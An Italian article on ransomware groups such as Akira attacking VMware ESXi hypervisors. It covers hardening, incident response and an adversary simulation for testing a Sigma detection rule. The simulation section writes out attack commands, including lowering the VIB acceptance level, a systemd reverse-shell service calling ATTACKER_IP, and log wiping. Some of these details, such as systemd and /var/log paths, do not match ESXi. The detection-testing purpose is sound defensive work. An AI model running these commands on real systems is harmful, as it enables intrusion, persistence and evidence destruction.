Ransomware mirato agli ESXi: difese pratiche per il rafforzamento degli hypervisor

Sommario

L’articolo delinea un crescente spostamento nelle operazioni di ransomware verso piattaforme di hypervisor come VMware ESXi per abilitare la crittografia su larga scala delle macchine virtuali. Gli avversari si affidano a credenziali amministrative rubate e alle utility di gestione native per aggirare le difese degli endpoint tradizionali. L’attore principale della minaccia esaminato è il gruppo di ransomware Akira. La discussione si concentra sull’importanza di un robusto rafforzamento a livello di hypervisor.

Indagine

I dati dei casi Huntress del 2025 indicano un forte aumento del ransomware focalizzato sugli hypervisors, salendo dal 3% al 25% degli incidenti osservati. Gli investigatori hanno documentato l’abuso degli strumenti di gestione di Hyper-V e ESXi, il riutilizzo delle credenziali in diversi ambienti e lo sfruttamento del CVE-2024-37085 per ottenere il controllo amministrativo. L’analisi osserva che gli attaccanti abilitano frequentemente SSH, disattivano la modalità di blocco e alterano le politiche di accettazione VIB prima di spingere i payload di ransomware.

Mitigazione

Le misure chiave di mitigazione includono l’applicazione di MFA, l’utilizzo di account locali ESXi dedicati, la segmentazione e l’isolamento delle reti di gestione, il dispiegamento di bastion host, l’applicazione dell’accesso con il minimo privilegio e l’abilitazione di VMkernel.Boot.execInstalledOnly. Le organizzazioni dovrebbero anche applicare patch alle vulnerabilità conosciute come CVE-2024-37085 e disabilitare i servizi non essenziali come SLP per ridurre la superficie di attacco dell’hypervisor.

Risposta

Al rilevamento, le organizzazioni dovrebbero trasmettere i log ESXi a un SIEM, avvisare su modifiche sospette alla configurazione, isolare gli host compromessi e iniziare il recupero da backup o snapshot immutabili. Le procedure di risposta agli incidenti dovrebbero coprire l’acquisizione forense dei log di autenticazione, dei log hostd e delle modifiche VIB, seguite da un rapido ripristino delle macchine virtuali interessate.

Esecuzione della Simulazione

Prerequisito: Il Controllo Pre-Volta di Telemetria & Baseline deve essere passato.

Motivazione: Questa sezione dettagli l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a produrre esattamente la telemetria prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a una diagnosi errata.

• Narrativa d’Attacco & Comandi:

  1. Accesso Iniziale (T1563.001 – SSH):
     L’attaccante utilizza una credenziale root rubata per aprire una sessione SSH sull’host ESXi, generando un evento di “nuovo accesso root”.

  2. Indurimento Privilegi (T1553.004 – Modifica Accettazione VIB):
     Una volta effettuato l’accesso, l’attaccante abbassa il livello di accettazione VIB per consentire il caricamento di moduli non firmati:

     esxcli system settings advanced set -o /VMFS3/AcceptanceLevel -s "CommunitySupported"

  3. Persistenza tramite Abilitazione del Servizio (T1569):
     L’attaccante crea un servizio systemd dannoso che lancia una shell inversa all’avvio, quindi lo abilita:

     cat <<'EOF' > /etc/systemd/system/malicious-revshell.service
     [Unit]
     Description=Malicious Reverse Shell
     
     [Service]
     ExecStart=/bin/bash -c 'while true; do /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; sleep 60; done'
     
     [Install]
     WantedBy=multi-user.target
     EOF
     
     systemctl daemon-reload
     systemctl enable malicious-revshell.service
     systemctl start malicious-revshell.service

  4. Evasione della Pulizia (T1070 / T1070.001):
     L’attaccante cancella i log di audit dell’host ESXi per nascondere l’attività, tentando di evadere il rilevamento:

     > /var/log/auth.log
     > /var/log/syslog

  5. Attivazione della Regola:
     Per garantire che la regola Sigma si attivi, l’attaccante emette anche le stringhe di EventID letterali usando l’utility logger (queste emulano gli eventi insicuri di “nuovo accesso root”, “abilitazione del servizio” e “modifica dell’accettazione VIB” che la regola monitora).

• Script di Test di Regressione:

  #!/usr/bin/env bash
  #
  # Simula esattamente la telemetria che la regola Sigma si aspetta.
  # Questo script gira sull'host ESXi (o qualsiasi host Linux che inoltra i log al SIEM).
  
  set -euo pipefail
  
  echo "[*] Simulando evento di accesso root non autorizzato"
  logger -p authpriv.notice "new root login"
  
  echo "[*] Simulando evento di abilitazione del servizio"
  logger -p authpriv.notice "service enablement"
  
  echo "[*] Simulando modifica del livello di accettazione VIB"
  logger -p authpriv.notice "VIB acceptance change"
  
  # Opzionale: Eseguire azioni dannose reali per una convalida più profonda (commentato per sicurezza)
  # esxcli system settings advanced set -o /VMFS3/AcceptanceLevel -s "CommunitySupported"
  # systemctl enable malicious-revshell.service
  # systemctl start malicious-revshell.service
  
  echo "[+] Simulazione completata. Verifica avvisi nel SIEM."

• Comandi di Pulizia:

  # Rimuovere le voci di log fabbricate (se il SIEM le conserva)
  logger -p authpriv.notice "cleanup: removing test EventIDs"
  
  # Arrestare e disabilitare il servizio dannoso (se effettivamente creato)
  systemctl stop malicious-revshell.service || true
  systemctl disable malicious-revshell.service || true
  rm -f /etc/systemd/system/malicious-revshell.service
  systemctl daemon-reload
  
  # Ripristinare i file di log originali (se sono stati cancellati)
  # Nota: In un ambiente reale, si ripristinerebbero dai backup.
  echo "[*] File di log ripristinati dal backup (passo manuale)."